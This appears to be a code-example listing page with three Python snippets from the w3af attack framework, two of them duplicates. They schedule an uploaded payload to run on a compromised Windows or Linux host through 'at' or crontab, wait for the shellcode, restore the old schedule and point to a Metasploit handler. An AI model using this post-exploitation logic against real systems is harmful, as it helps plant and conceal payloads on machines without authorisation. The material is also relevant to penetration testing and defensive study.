Exemple #1
0
    def _exec_payload(self):
        '''
        This method should be implemented according to the remote operating system. The idea here is to
        execute the payload that was sent using _sendExeToServer and generated by _generateExe . In winVd
        I should add self._filename to the crontab .

        This method should be implemented in winVd and winVd.
        '''
        aH = atHandler(self._exec_method)
        if not aH.can_delay():
            om.out.information(
                'Remote user is not allowed to run at! Running command without at, this may cause a timeout.'
            )
            self._exec(self._remote_filename)
        else:
            wait_time = aH.add_to_schedule(self._remote_filename)

            om.out.console(
                '"at" entry successfully added. Waiting for shellcode execution.'
            )
            time.sleep(wait_time + 3)

            om.out.console(
                'Payload successfully executed, restoring old "at".')
            aH.restore_old_schedule()

            om.out.debug(
                'All done, check metasploit handler console for results.')
Exemple #2
0
 def get_delayed_execution_handler(self):
     os = os_detection_exec(self._exec_method)
     if os == 'windows':
         return atHandler(self._exec_method)
     elif os == 'linux':
         return crontabHandler(self._exec_method)
     else:
         raise w3afException(
             'Failed to create a delayed execution handler.')
Exemple #3
0
    def _exec_payload(self):
        '''
        This method should be implemented according to the remote operating system. The idea here is to
        execute the payload that was sent using _sendExeToServer and generated by _generateExe . In winVd
        I should add self._filename to the crontab .

        This method should be implemented in winVd and winVd.
        '''
        aH = atHandler(self._exec_method)
        if not aH.can_delay():
            om.out.information('Remote user is not allowed to run at! Running command without at, this may cause a timeout.')
            self._exec(self._remote_filename)
        else:
            wait_time = aH.add_to_schedule(self._remote_filename)

            om.out.console('"at" entry successfully added. Waiting for shellcode execution.')
            time.sleep(wait_time + 3)

            om.out.console(
                'Payload successfully executed, restoring old "at".')
            aH.restore_old_schedule()

            om.out.debug(
                'All done, check metasploit handler console for results.')